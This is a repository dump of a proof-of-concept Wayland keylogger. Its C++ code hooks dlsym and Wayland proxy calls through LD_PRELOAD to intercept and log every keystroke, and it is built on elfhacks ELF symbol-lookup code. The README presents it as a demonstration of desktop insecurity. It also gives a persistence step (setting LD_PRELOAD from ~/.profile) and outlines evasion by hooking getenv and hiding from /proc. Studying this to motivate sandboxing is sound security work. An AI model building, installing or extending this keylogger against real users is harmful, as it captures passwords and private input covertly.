Repository: Aishou/wayland-keylogger
Branch: master
Commit: ba9fe9481efa
Files: 6
Total size: 30.6 KB
Directory structure:
gitextract_h0wh0vaf/
├── .gitignore
├── Keylogger.cpp
├── README.md
├── compile
├── elfhacks.c
└── elfhacks.h
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
libwayland-keylogger.so
================================================
FILE: Keylogger.cpp
================================================
/*
Copyright (c) 2012-2014 Maarten Baert <maarten-baert@hotmail.com>
Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "elfhacks.h"
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <wayland-client.h>
struct wl_proxy* my_wl_proxy_create(struct wl_proxy *factory, const struct wl_interface *interface);
struct wl_proxy* my_wl_proxy_marshal_array_constructor(struct wl_proxy *proxy, uint32_t opcode, union wl_argument *args, const struct wl_interface *interface);
int my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data);
void *(*g_real_dlsym)(void*, const char*) = NULL;
void *(*g_real_dlvsym)(void*, const char*, const char*) = NULL;
struct wl_proxy* (*g_real_wl_proxy_marshal_array_constructor)(struct wl_proxy*, uint32_t, union wl_argument*, const struct wl_interface*);
struct wl_proxy* (*g_real_wl_proxy_create)(struct wl_proxy*, const struct wl_interface*);
int (*g_real_wl_proxy_add_listener)(struct wl_proxy*, void (**)(void), void*);
int g_hooks_initialized = 0;
void init_hooks() {
if(g_hooks_initialized)
return;
fprintf(stderr, "[wayland-keylogger] init_hooks begin.\n");
fprintf(stderr, "[wayland-keylogger] Note: This is only a proof-of-concept. It is not perfect.\n");
fprintf(stderr, "[wayland-keylogger] It depends on Wayland internals and will need an update\n");
fprintf(stderr, "[wayland-keylogger] whenever those internals change. The last Wayland/Weston\n");
fprintf(stderr, "[wayland-keylogger] version that has been tested with this program is 1.4.0.\n");
fprintf(stderr, "[wayland-keylogger] You are using version %s.\n", WAYLAND_VERSION);
// part 1: get dlsym and dlvsym
eh_obj_t libdl;
if(eh_find_obj(&libdl, "*/libdl.so*")) {
fprintf(stderr, "[wayland-keylogger] Can't open libdl.so!\n");
exit(-181818181);
}
if(eh_find_sym(&libdl, "dlsym", (void **) &g_real_dlsym)) {
fprintf(stderr, "[wayland-keylogger] Can't get dlsym address!\n");
eh_destroy_obj(&libdl);
exit(-181818181);
}
if(eh_find_sym(&libdl, "dlvsym", (void **) &g_real_dlvsym)) {
fprintf(stderr, "[wayland-keylogger] Can't get dlvsym address!\n");
eh_destroy_obj(&libdl);
exit(-181818181);
}
eh_destroy_obj(&libdl);
// part 2: get everything else
g_real_wl_proxy_create = (struct wl_proxy* (*)(struct wl_proxy*, const struct wl_interface*))
g_real_dlsym(RTLD_NEXT, "wl_proxy_create");
g_real_wl_proxy_marshal_array_constructor = (struct wl_proxy* (*)(struct wl_proxy*, uint32_t, union wl_argument*, const struct wl_interface*))
g_real_dlsym(RTLD_NEXT, "wl_proxy_marshal_array_constructor");
g_real_wl_proxy_add_listener = (int (*)(struct wl_proxy*, void (**)(void), void*))
g_real_dlsym(RTLD_NEXT, "wl_proxy_add_listener");
fprintf(stderr, "[wayland-keylogger] init_hooks end.\n");
g_hooks_initialized = 1;
}
struct Hook {
const char* name;
void* address;
};
Hook hook_table[] = {
{"wl_proxy_create", (void*) &my_wl_proxy_create},
{"wl_proxy_marshal_array_constructor", (void*) &my_wl_proxy_marshal_array_constructor},
{"wl_proxy_add_listener", (void*) &my_wl_proxy_add_listener},
};
struct KeyLoggerData {
void (**implementation)(void);
void *data;
};
void MyHandleKeyboardKeymap(void* data, wl_keyboard* keyboard, uint32_t format, int fd, uint32_t size) {
KeyLoggerData *d = (KeyLoggerData*) data;
((wl_keyboard_listener*) d->implementation)->keymap(d->data, keyboard, format, fd, size);
}
void MyHandleKeyboardEnter(void* data, wl_keyboard* keyboard, uint32_t serial, wl_surface* surface, wl_array* keys) {
KeyLoggerData *d = (KeyLoggerData*) data;
((wl_keyboard_listener*) d->implementation)->enter(d->data, keyboard, serial, surface, keys);
}
void MyHandleKeyboardLeave(void* data, wl_keyboard* keyboard, uint32_t serial, wl_surface* surface) {
KeyLoggerData *d = (KeyLoggerData*) data;
((wl_keyboard_listener*) d->implementation)->leave(d->data, keyboard, serial, surface);
}
void MyHandleKeyboardKey(void* data, wl_keyboard* keyboard, uint32_t serial, uint32_t time, uint32_t key, uint32_t state) {
KeyLoggerData *d = (KeyLoggerData*) data;
if(state) {
fprintf(stderr, "[wayland-keylogger] Pressed key %d\n", key);
} else {
fprintf(stderr, "[wayland-keylogger] Released key %d\n", key);
}
((wl_keyboard_listener*) d->implementation)->key(d->data, keyboard, serial, time, key, state);
}
void MyHandleKeyboardModifiers(void* data, wl_keyboard* keyboard, uint32_t serial, uint32_t mods_depressed, uint32_t mods_latched, uint32_t mods_locked, uint32_t group) {
KeyLoggerData *d = (KeyLoggerData*) data;
((wl_keyboard_listener*) d->implementation)->modifiers(d->data, keyboard, serial, mods_depressed, mods_latched, mods_locked, group);
}
void MyHandleKeyboardRepeatInfo(void* data, wl_keyboard* keyboard, int32_t rate, int32_t delay) {
KeyLoggerData *d = (KeyLoggerData*) data;
((wl_keyboard_listener*) d->implementation)->repeat_info(d->data, keyboard, rate, delay);
}
wl_keyboard_listener my_keyboard_listener = {
MyHandleKeyboardKeymap,
MyHandleKeyboardEnter,
MyHandleKeyboardLeave,
MyHandleKeyboardKey,
MyHandleKeyboardModifiers,
MyHandleKeyboardRepeatInfo,
};
struct wl_proxy* g_keyboard_to_log = NULL;
// for older Wayland versions
struct wl_proxy* my_wl_proxy_create(struct wl_proxy *factory, const struct wl_interface *interface) {
//fprintf(stderr, "[wayland-keylogger] my_wl_proxy_create(factory=%p, interface=%p)\n", factory, interface);
struct wl_proxy* id = g_real_wl_proxy_create(factory, interface);
if(interface == &wl_keyboard_interface) {
fprintf(stderr, "[wayland-keylogger] Got keyboard id!\n");
g_keyboard_to_log = id;
}
return id;
}
// for newer wayland versions
struct wl_proxy* my_wl_proxy_marshal_array_constructor(struct wl_proxy *proxy, uint32_t opcode, union wl_argument *args, const struct wl_interface *interface) {
//fprintf(stderr, "[wayland-keylogger] my_wl_proxy_marshal_array_constructor(proxy=%p, opcode=%u, args=%p, interface=%p)\n", proxy, opcode, args, interface);
struct wl_proxy* id = g_real_wl_proxy_marshal_array_constructor(proxy, opcode, args, interface);
if(interface == &wl_keyboard_interface) {
fprintf(stderr, "[wayland-keylogger] Got keyboard id!\n");
g_keyboard_to_log = id;
}
return id;
}
int my_wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data) {
//fprintf(stderr, "[wayland-keylogger] my_wl_proxy_add_listener(factory=%p, implementation=%p, data=%p)\n", factory, implementation, data);
if(g_keyboard_to_log != NULL && factory == g_keyboard_to_log) {
fprintf(stderr, "[wayland-keylogger] Adding fake listener!\n");
g_keyboard_to_log = NULL;
KeyLoggerData *d = new KeyLoggerData(); // memory leak, I know :)
d->implementation = implementation;
d->data = data;
return g_real_wl_proxy_add_listener(factory, (void (**)(void)) &my_keyboard_listener, d);
} else {
return g_real_wl_proxy_add_listener(factory, implementation, data);
}
}
// override existing functions
extern "C" struct wl_proxy* wl_proxy_create(struct wl_proxy *factory, const struct wl_interface *interface) {
init_hooks();
return my_wl_proxy_create(factory, interface);
}
extern "C" struct wl_proxy* wl_proxy_marshal_array_constructor(struct wl_proxy *proxy, uint32_t opcode, union wl_argument *args, const struct wl_interface *interface) {
init_hooks();
return my_wl_proxy_marshal_array_constructor(proxy, opcode, args, interface);
}
extern "C" int wl_proxy_add_listener(struct wl_proxy *factory, void (**implementation)(void), void *data) {
init_hooks();
return my_wl_proxy_add_listener(factory, implementation, data);
}
extern "C" void* dlsym(void* handle, const char* symbol) {
init_hooks();
for(unsigned int i = 0; i < sizeof(hook_table) / sizeof(Hook); ++i) {
if(strcmp(hook_table[i].name, symbol) == 0) {
fprintf(stderr, "[wayland-keylogger] Hooked: dlsym(%s).\n", symbol);
return hook_table[i].address;
}
}
return g_real_dlsym(handle, symbol);
}
extern "C" void* dlvsym(void* handle, const char* symbol, const char* version) {
init_hooks();
for(unsigned int i = 0; i < sizeof(hook_table) / sizeof(Hook); ++i) {
if(strcmp(hook_table[i].name, symbol) == 0) {
fprintf(stderr, "[wayland-keylogger] Hooked: dlvsym(%s,%s).\n", symbol, version);
return hook_table[i].address;
}
}
return g_real_dlvsym(handle, symbol, version);
}
================================================
FILE: README.md
================================================
wayland-keylogger
=================
### Summary
**TL;DR** - This is a `LD_PRELOAD` attack that intercepts the Wayland protocol.
Requirements:
- Inject an environment variable to each attacked program.
- Presence of shared library somewhere on the system.
Achieves:
- Full visibility into program-to-compositor communication.
### Writeup
This is a proof-of-concept Wayland keylogger that I wrote to demonstrate the fundamental insecurity of a typical Linux desktop that lacks both sandboxing (chroot, cgroups, ...) and mandatory access control (SELinux). The keylogger requires nothing but user-level access to be installed, just like any other LD_PRELOAD attack.
Adding persistence to the attack is very simple: just add it from ~/.profile (or maybe ~/.bashrc), like this:
export LD_PRELOAD=/home/user/path/to/libwayland-keylogger.so
This is only a proof of concept and it will simply print the key press/release events to stderr (your terminal). It would be relatively easy to make the keylogger invisible and write the key presses to a file.
I wrote this keylogger in 75 minutes, without any real knowledge of the Wayland protocol. This should give you an idea of how easy it is to write this. It is based on ElfHacks (written by Pyry Haulos, unrelated to this project) and parts of SSR-GLInject (written by me, also unrelated).
There are many ways to break this keylogger - it is not designed to be robust since that was not the goal. But for any possible way to break it, I could add countermeasures as well. Applications could use 'getenv' to check whether LD_PRELOAD is set, but I could overwrite 'getenv' to hide the existence of that variable. Applications could scan the /proc filesystem, but again I could overwrite the relevant system functions to hide it. I think it's pretty clear that this is not a secure system - a secure system would prevent the attack completely rather than trying to detect it after it has already happened. Such security mechanisms exist: even a few basic SELinux rules would completely eliminate this security problem.
The point that I am trying to make is that we should focus on *real* security mechanisms that actually *work*, rather than creating new ones that just give a false sense of security (and annoy the user) without actually making the desktop any more secure.
This program is in no way meant as criticism of the Wayland project. It simply demonstrates that creating a secure desktop requires more than just a few server-side restrictions.
By the way, this inherent weakness is not at all specific to Linux. Similar techniques would also work on Windows and Mac, and essentially any platform that doesn't sandbox applications.
================================================
FILE: compile
================================================
#!/bin/bash
g++ -Wall -pipe -shared -fpic *.cpp *.c -lwayland-client -o libwayland-keylogger.so
================================================
FILE: elfhacks.c
================================================
/**
* \file src/elfhacks.c
* \brief various ELF run-time hacks
* \author Pyry Haulos <pyry.haulos@gmail.com>
* \date 2007-2008
* For conditions of distribution and use, see copyright notice in elfhacks.h
*/
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <elf.h>
#include <link.h>
#include <fnmatch.h>
#include "elfhacks.h"
/**
* \addtogroup elfhacks
* \{
*/
struct eh_iterate_callback_args {
eh_iterate_obj_callback_func callback;
void *arg;
};
int eh_check_addr(eh_obj_t *obj, const void *addr);
int eh_find_callback(struct dl_phdr_info *info, size_t size, void *argptr);
int eh_find_next_dyn(eh_obj_t *obj, ElfW_Sword tag, int i, ElfW(Dyn) **next);
int eh_init_obj(eh_obj_t *obj);
int eh_set_rela_plt(eh_obj_t *obj, int p, const char *sym, void *val);
int eh_set_rel_plt(eh_obj_t *obj, int p, const char *sym, void *val);
int eh_iterate_rela_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg);
int eh_iterate_rel_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg);
int eh_find_sym_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym);
int eh_find_sym_gnu_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym);
ElfW(Word) eh_hash_elf(const char *name);
Elf32_Word eh_hash_gnu(const char *name);
int eh_find_callback(struct dl_phdr_info *info, size_t size, void *argptr)
{
(void) (size);
eh_obj_t *find = (eh_obj_t *) argptr;
if (find->name == NULL) {
if (strcmp(info->dlpi_name, ""))
return 0;
} else if (fnmatch(find->name, info->dlpi_name, 0))
return 0;
if (find->name == NULL) /* TODO readlink? */
find->name = "/proc/self/exe";
else
find->name = info->dlpi_name;
find->addr = info->dlpi_addr;
/* segment headers */
find->phdr = info->dlpi_phdr;
find->phnum = info->dlpi_phnum;
return 0;
}
int eh_iterate_callback(struct dl_phdr_info *info, size_t size, void *argptr)
{
(void) (size);
struct eh_iterate_callback_args *args = (struct eh_iterate_callback_args*) argptr;
eh_obj_t obj;
int ret = 0;
/* eh_init_obj needs phdr and phnum */
obj.phdr = info->dlpi_phdr;
obj.phnum = info->dlpi_phnum;
obj.addr = info->dlpi_addr;
obj.name = info->dlpi_name;
if ((ret = eh_init_obj(&obj))) {
if (ret == ENOTSUP) /* just skip */
return 0;
return ret;
}
if ((ret = args->callback(&obj, args->arg)))
return ret;
if ((ret = eh_destroy_obj(&obj)))
return ret;
return 0;
}
int eh_iterate_obj(eh_iterate_obj_callback_func callback, void *arg)
{
int ret;
struct eh_iterate_callback_args args;
args.callback = callback;
args.arg = arg;
if ((ret = dl_iterate_phdr(eh_iterate_callback, &args)))
return ret;
return 0;
}
int eh_find_obj(eh_obj_t *obj, const char *soname)
{
/* This function uses glibc-specific dl_iterate_phdr().
Another way could be parsing /proc/self/exe or using
pmap() on Solaris or *BSD */
obj->phdr = NULL;
obj->name = soname;
dl_iterate_phdr(eh_find_callback, obj);
if (!obj->phdr)
return EAGAIN;
return eh_init_obj(obj);
}
int eh_check_addr(eh_obj_t *obj, const void *addr)
{
/*
Check that given address is inside program's
memory maps. PT_LOAD program headers tell us
where program has been loaded into.
*/
int p;
for (p = 0; p < obj->phnum; p++) {
if (obj->phdr[p].p_type == PT_LOAD) {
if (((ElfW(Addr)) addr < obj->phdr[p].p_memsz + obj->phdr[p].p_vaddr + obj->addr) &&
((ElfW(Addr)) addr >= obj->phdr[p].p_vaddr + obj->addr))
return 0;
}
}
return EINVAL;
}
int eh_init_obj(eh_obj_t *obj)
{
/*
ELF spec says in section header documentation, that:
"An object file may have only one dynamic section."
Let's assume it means that object has only one PT_DYNAMIC
as well.
*/
int p;
obj->dynamic = NULL;
for (p = 0; p < obj->phnum; p++) {
if (obj->phdr[p].p_type == PT_DYNAMIC) {
if (obj->dynamic)
return ENOTSUP;
obj->dynamic = (ElfW(Dyn) *) (obj->phdr[p].p_vaddr + obj->addr);
}
}
if (!obj->dynamic)
return ENOTSUP;
/*
ELF spec says that program is allowed to have more than one
.strtab but does not describe how string table indexes translate
to multiple string tables.
And spec says that only one SHT_HASH is allowed, does it mean that
obj has only one DT_HASH?
About .symtab it does not mention anything about if multiple
symbol tables are allowed or not.
Maybe st_shndx is the key here?
*/
obj->strtab = NULL;
obj->hash = NULL;
obj->gnu_hash = NULL;
obj->symtab = NULL;
p = 0;
while (obj->dynamic[p].d_tag != DT_NULL) {
if (obj->dynamic[p].d_tag == DT_STRTAB) {
if (obj->strtab)
return ENOTSUP;
obj->strtab = (const char *) obj->dynamic[p].d_un.d_ptr;
} else if (obj->dynamic[p].d_tag == DT_HASH) {
if (obj->hash)
return ENOTSUP;
obj->hash = (ElfW(Word) *) obj->dynamic[p].d_un.d_ptr;
} else if (obj->dynamic[p].d_tag == DT_GNU_HASH) {
if (obj->gnu_hash)
return ENOTSUP;
obj->gnu_hash = (Elf32_Word *) obj->dynamic[p].d_un.d_ptr;
} else if (obj->dynamic[p].d_tag == DT_SYMTAB) {
if (obj->symtab)
return ENOTSUP;
obj->symtab = (ElfW(Sym) *) obj->dynamic[p].d_un.d_ptr;
}
p++;
}
/* This is here to catch b0rken headers (vdso) */
if ((eh_check_addr(obj, (const void *) obj->strtab)) |
(eh_check_addr(obj, (const void *) obj->symtab)))
return ENOTSUP;
if (obj->hash) {
/* DT_HASH found */
if (eh_check_addr(obj, (void *) obj->hash))
obj->hash = NULL;
} else if (obj->gnu_hash) {
/* DT_GNU_HASH found */
if (eh_check_addr(obj, (void *) obj->gnu_hash))
obj->gnu_hash = NULL;
}
return 0;
}
int eh_find_sym(eh_obj_t *obj, const char *name, void **to)
{
eh_sym_t sym;
/* DT_GNU_HASH is faster ;) */
if (obj->gnu_hash) {
if (!eh_find_sym_gnu_hash(obj, name, &sym)) {
*to = (void *) (sym.sym->st_value + obj->addr);
return 0;
}
}
/* maybe it is in DT_HASH or DT_GNU_HASH is not present */
if (obj->hash) {
if (!eh_find_sym_hash(obj, name, &sym)) {
*to = (void *) (sym.sym->st_value + obj->addr);
return 0;
}
}
return EAGAIN;
}
ElfW(Word) eh_hash_elf(const char *name)
{
ElfW(Word) tmp, hash = 0;
const unsigned char *uname = (const unsigned char *) name;
int c;
while ((c = *uname++) != '\0') {
hash = (hash << 4) + c;
if ((tmp = (hash & 0xf0000000)) != 0) {
hash ^= tmp >> 24;
hash ^= tmp;
}
}
return hash;
}
int eh_find_sym_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym)
{
ElfW(Word) hash, *chain;
ElfW(Sym) *esym;
unsigned int bucket_idx, idx;
if (!obj->hash)
return ENOTSUP;
if (obj->hash[0] == 0)
return EAGAIN;
hash = eh_hash_elf(name);
/*
First item in DT_HASH is nbucket, second is nchain.
hash % nbucket gives us our bucket index.
*/
bucket_idx = obj->hash[2 + (hash % obj->hash[0])];
chain = &obj->hash[2 + obj->hash[0] + bucket_idx];
idx = 0;
sym->sym = NULL;
/* we have to check symtab[bucket_idx] first */
esym = &obj->symtab[bucket_idx];
if (esym->st_name) {
if (!strcmp(&obj->strtab[esym->st_name], name))
sym->sym = esym;
}
while ((sym->sym == NULL) &&
(chain[idx] != STN_UNDEF)) {
esym = &obj->symtab[chain[idx]];
if (esym->st_name) {
if (!strcmp(&obj->strtab[esym->st_name], name))
sym->sym = esym;
}
idx++;
}
/* symbol not found */
if (sym->sym == NULL)
return EAGAIN;
sym->obj = obj;
sym->name = &obj->strtab[sym->sym->st_name];
return 0;
}
Elf32_Word eh_hash_gnu(const char *name)
{
Elf32_Word hash = 5381;
const unsigned char *uname = (const unsigned char *) name;
int c;
while ((c = *uname++) != '\0')
hash = (hash << 5) + hash + c;
return hash & 0xffffffff;
}
int eh_find_sym_gnu_hash(eh_obj_t *obj, const char *name, eh_sym_t *sym)
{
Elf32_Word *buckets, *chain_zero, *hasharr;
ElfW(Addr) *bitmask, bitmask_word;
Elf32_Word symbias, bitmask_nwords, bucket,
nbuckets, bitmask_idxbits, shift;
Elf32_Word hash, hashbit1, hashbit2;
ElfW(Sym) *esym;
if (!obj->gnu_hash)
return ENOTSUP;
if (obj->gnu_hash[0] == 0)
return EAGAIN;
sym->sym = NULL;
/*
Initialize our hash table stuff
DT_GNU_HASH is(?):
[nbuckets] [symbias] [bitmask_nwords] [shift]
[bitmask_nwords * ElfW(Addr)] <- bitmask
[nbuckets * Elf32_Word] <- buckets
...chains? - symbias...
*/
nbuckets = obj->gnu_hash[0];
symbias = obj->gnu_hash[1];
bitmask_nwords = obj->gnu_hash[2]; /* must be power of two */
bitmask_idxbits = bitmask_nwords - 1;
shift = obj->gnu_hash[3];
bitmask = (ElfW(Addr) *) &obj->gnu_hash[4];
buckets = &obj->gnu_hash[4 + (__ELF_NATIVE_CLASS / 32) * bitmask_nwords];
chain_zero = &buckets[nbuckets] - symbias;
/* hash our symbol */
hash = eh_hash_gnu(name);
/* bitmask stuff... no idea really :D */
bitmask_word = bitmask[(hash / __ELF_NATIVE_CLASS) & bitmask_idxbits];
hashbit1 = hash & (__ELF_NATIVE_CLASS - 1);
hashbit2 = (hash >> shift) & (__ELF_NATIVE_CLASS - 1);
/* wtf this does actually? */
if (!((bitmask_word >> hashbit1) & (bitmask_word >> hashbit2) & 1))
return EAGAIN;
/* locate bucket */
bucket = buckets[hash % nbuckets];
if (bucket == 0)
return EAGAIN;
/* and find match in chain */
hasharr = &chain_zero[bucket];
do {
if (((*hasharr ^ hash) >> 1) == 0) {
/* hash matches, but does the name? */
esym = &obj->symtab[hasharr - chain_zero];
if (esym->st_name) {
if (!strcmp(&obj->strtab[esym->st_name], name)) {
sym->sym = esym;
break;
}
}
}
} while ((*hasharr++ & 1u) == 0);
/* symbol not found */
if (sym->sym == NULL)
return EAGAIN;
sym->obj = obj;
sym->name = &obj->strtab[sym->sym->st_name];
return 0;
}
int eh_iterate_sym(eh_obj_t *obj, eh_iterate_sym_callback_func callback, void *arg)
{
(void) (obj);
(void) (callback);
(void) (arg);
return ENOTSUP;
}
int eh_find_next_dyn(eh_obj_t *obj, ElfW_Sword tag, int i, ElfW(Dyn) **next)
{
/* first from i + 1 to end, then from start to i - 1 */
int p;
*next = NULL;
p = i + 1;
while (obj->dynamic[p].d_tag != DT_NULL) {
if (obj->dynamic[p].d_tag == tag) {
*next = &obj->dynamic[p];
return 0;
}
p++;
}
p = 0;
while ((obj->dynamic[i].d_tag != DT_NULL) && (p < i)) {
if (obj->dynamic[p].d_tag == tag) {
*next = &obj->dynamic[p];
return 0;
}
p++;
}
return EAGAIN;
}
int eh_set_rela_plt(eh_obj_t *obj, int p, const char *sym, void *val)
{
ElfW(Rela) *rela = (ElfW(Rela) *) obj->dynamic[p].d_un.d_ptr;
ElfW(Dyn) *relasize;
unsigned int i;
/* DT_PLTRELSZ contains PLT relocs size in bytes */
if (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relasize))
return EINVAL; /* b0rken elf :/ */
for (i = 0; i < relasize->d_un.d_val / sizeof(ElfW(Rela)); i++) {
if (!obj->symtab[ELFW_R_SYM(rela[i].r_info)].st_name)
continue;
if (!strcmp(&obj->strtab[obj->symtab[ELFW_R_SYM(rela[i].r_info)].st_name], sym))
*((void **) (rela[i].r_offset + obj->addr)) = val;
}
return 0;
}
int eh_set_rel_plt(eh_obj_t *obj, int p, const char *sym, void *val)
{
ElfW(Rel) *rel = (ElfW(Rel) *) obj->dynamic[p].d_un.d_ptr;
ElfW(Dyn) *relsize;
unsigned int i;
if (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relsize))
return EINVAL; /* b0rken elf :/ */
for (i = 0; i < relsize->d_un.d_val / sizeof(ElfW(Rel)); i++) {
if (!obj->symtab[ELFW_R_SYM(rel[i].r_info)].st_name)
continue;
if (!strcmp(&obj->strtab[obj->symtab[ELFW_R_SYM(rel[i].r_info)].st_name], sym))
*((void **) (rel[i].r_offset + obj->addr)) = val;
}
return 0;
}
int eh_set_rel(eh_obj_t *obj, const char *sym, void *val)
{
/*
Elf spec states that object is allowed to have multiple
.rel.plt and .rela.plt tables, so we will support 'em - here.
*/
ElfW(Dyn) *pltrel;
int ret, p = 0;
while (obj->dynamic[p].d_tag != DT_NULL) {
/* DT_JMPREL contains .rel.plt or .rela.plt */
if (obj->dynamic[p].d_tag == DT_JMPREL) {
/* DT_PLTREL tells if it is Rela or Rel */
eh_find_next_dyn(obj, DT_PLTREL, p, &pltrel);
if (pltrel->d_un.d_val == DT_RELA) {
if ((ret = eh_set_rela_plt(obj, p, sym, val)))
return ret;
} else if (pltrel->d_un.d_val == DT_REL) {
if ((ret = eh_set_rel_plt(obj, p, sym, val)))
return ret;
} else
return EINVAL;
}
p++;
}
return 0;
}
int eh_iterate_rela_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg)
{
ElfW(Rela) *rela = (ElfW(Rela) *) obj->dynamic[p].d_un.d_ptr;
ElfW(Dyn) *relasize;
eh_rel_t rel;
eh_sym_t sym;
unsigned int i, ret;
rel.sym = &sym;
rel.rel = NULL;
rel.obj = obj;
if (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relasize))
return EINVAL;
for (i = 0; i < relasize->d_un.d_val / sizeof(ElfW(Rela)); i++) {
rel.rela = &rela[i];
sym.sym = &obj->symtab[ELFW_R_SYM(rel.rela->r_info)];
if (sym.sym->st_name)
sym.name = &obj->strtab[sym.sym->st_name];
else
sym.name = NULL;
if ((ret = callback(&rel, arg)))
return ret;
}
return 0;
}
int eh_iterate_rel_plt(eh_obj_t *obj, int p, eh_iterate_rel_callback_func callback, void *arg)
{
ElfW(Rel) *relp = (ElfW(Rel) *) obj->dynamic[p].d_un.d_ptr;
ElfW(Dyn) *relsize;
eh_rel_t rel;
eh_sym_t sym;
unsigned int i, ret;
rel.sym = &sym;
rel.rela = NULL;
rel.obj = obj;
if (eh_find_next_dyn(obj, DT_PLTRELSZ, p, &relsize))
return EINVAL;
for (i = 0; i < relsize->d_un.d_val / sizeof(ElfW(Rel)); i++) {
rel.rel = &relp[i];
sym.sym = &obj->symtab[ELFW_R_SYM(rel.rel->r_info)];
if (sym.sym->st_name)
sym.name = &obj->strtab[sym.sym->st_name];
else
sym.name = NULL;
if ((ret = callback(&rel, arg)))
return ret;
}
return 0;
}
int eh_iterate_rel(eh_obj_t *obj, eh_iterate_rel_callback_func callback, void *arg)
{
ElfW(Dyn) *pltrel;
int ret, p = 0;
while (obj->dynamic[p].d_tag != DT_NULL) {
if (obj->dynamic[p].d_tag == DT_JMPREL) {
eh_find_next_dyn(obj, DT_PLTREL, p, &pltrel);
if (pltrel->d_un.d_val == DT_RELA) {
if ((ret = eh_iterate_rela_plt(obj, p, callback, arg)))
return ret;
} else if (pltrel->d_un.d_val == DT_REL) {
if ((ret = eh_iterate_rel_plt(obj, p, callback, arg)))
return ret;
} else
return EINVAL;
}
p++;
}
return 0;
}
int eh_destroy_obj(eh_obj_t *obj)
{
obj->phdr = NULL;
return 0;
}
/** \} */
================================================
FILE: elfhacks.h
================================================
/**
* \file src/elfhacks.h
* \brief elfhacks application interface
* \author Pyry Haulos <pyry.haulos@gmail.com>
* \date 2007-2008
*/
/* elfhacks.h -- Various ELF run-time hacks
version 0.4.1, March 9th, 2008
Copyright (C) 2007-2008 Pyry Haulos
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Pyry Haulos <pyry.haulos@gmail.com>
*/
#include <elf.h>
#include <link.h>
#ifdef __cplusplus
extern "C" {
#endif
#define __PUBLIC __attribute__ ((visibility ("default")))
#ifdef __x86_64__
# define __elf64
#endif
#ifdef __i386__
# define __elf32
#endif
#ifdef __elf64
# define ELFW_R_SYM ELF64_R_SYM
# define ElfW_Sword Elf64_Sxword
#else
# ifdef __elf32
# define ELFW_R_SYM ELF32_R_SYM
# define ElfW_Sword Elf32_Sword
# else
# error neither __elf32 nor __elf64 is defined
# endif
#endif
/**
* \defgroup elfhacks elfhacks
* Elfhacks is a collection of functions that aim for retvieving
* or modifying progam's dynamic linking information at run-time.
* \{
*/
/**
* \brief elfhacks program object
*/
typedef struct {
/** file name */
const char *name;
/** base address in memory */
ElfW(Addr) addr;
/** program headers */
const ElfW(Phdr) *phdr;
/** number of program headers */
ElfW(Half) phnum;
/** .dynamic */
ElfW(Dyn) *dynamic;
/** .symtab */
ElfW(Sym) *symtab;
/** .strtab */
const char *strtab;
/** symbol hash table (DT_HASH) */
ElfW(Word) *hash;
/** symbol hash table (DT_GNU_HASH) */
Elf32_Word *gnu_hash;
} eh_obj_t;
/**
* \brief elfhacks symbol
*/
typedef struct {
/** symbol name */
const char *name;
/** corresponding ElfW(Sym) */
ElfW(Sym) *sym;
/** elfhacks object this symbol is associated to */
eh_obj_t *obj;
} eh_sym_t;
/**
* \brief elfhacks relocation
*/
typedef struct {
/** symbol this relocation is associated to */
eh_sym_t *sym;
/** corresponding ElfW(Rel) (NULL if this is Rela) */
ElfW(Rel) *rel;
/** corresponding ElfW(Rela) (NULL if this is Rel) */
ElfW(Rela) *rela;
/** elfhacks program object */
eh_obj_t *obj;
} eh_rel_t;
/**
* \brief Iterate objects callback
*/
typedef int (*eh_iterate_obj_callback_func)(eh_obj_t *obj, void *arg);
/**
* \brief Iterate symbols callback
*/
typedef int (*eh_iterate_sym_callback_func)(eh_sym_t *sym, void *arg);
/**
* \brief Iterate relocations callback
*/
typedef int (*eh_iterate_rel_callback_func)(eh_rel_t *rel, void *arg);
/**
* \brief Initializes eh_obj_t for given soname
*
* Matching is done using fnmatch() so wildcards and other standard
* filename metacharacters and expressions work.
*
* If soname is NULL, this function returns the main program object.
* \param obj elfhacks object
* \param soname object's soname (see /proc/pid/maps) or NULL for main
* \return 0 on success otherwise a positive error code
*/
__PUBLIC int eh_find_obj(eh_obj_t *obj, const char *soname);
/**
* \brief Walk through list of objects
* \param callback callback function
* \param arg argument passed to callback function
* \return 0 on success otherwise an error code
*/
__PUBLIC int eh_iterate_obj(eh_iterate_obj_callback_func callback, void *arg);
/**
* \brief Finds symbol in object's .dynsym and retrvieves its value.
* \param obj elfhacks program object
* \param name symbol to find
* \param to returned value
* \return 0 on success otherwise a positive error code
*/
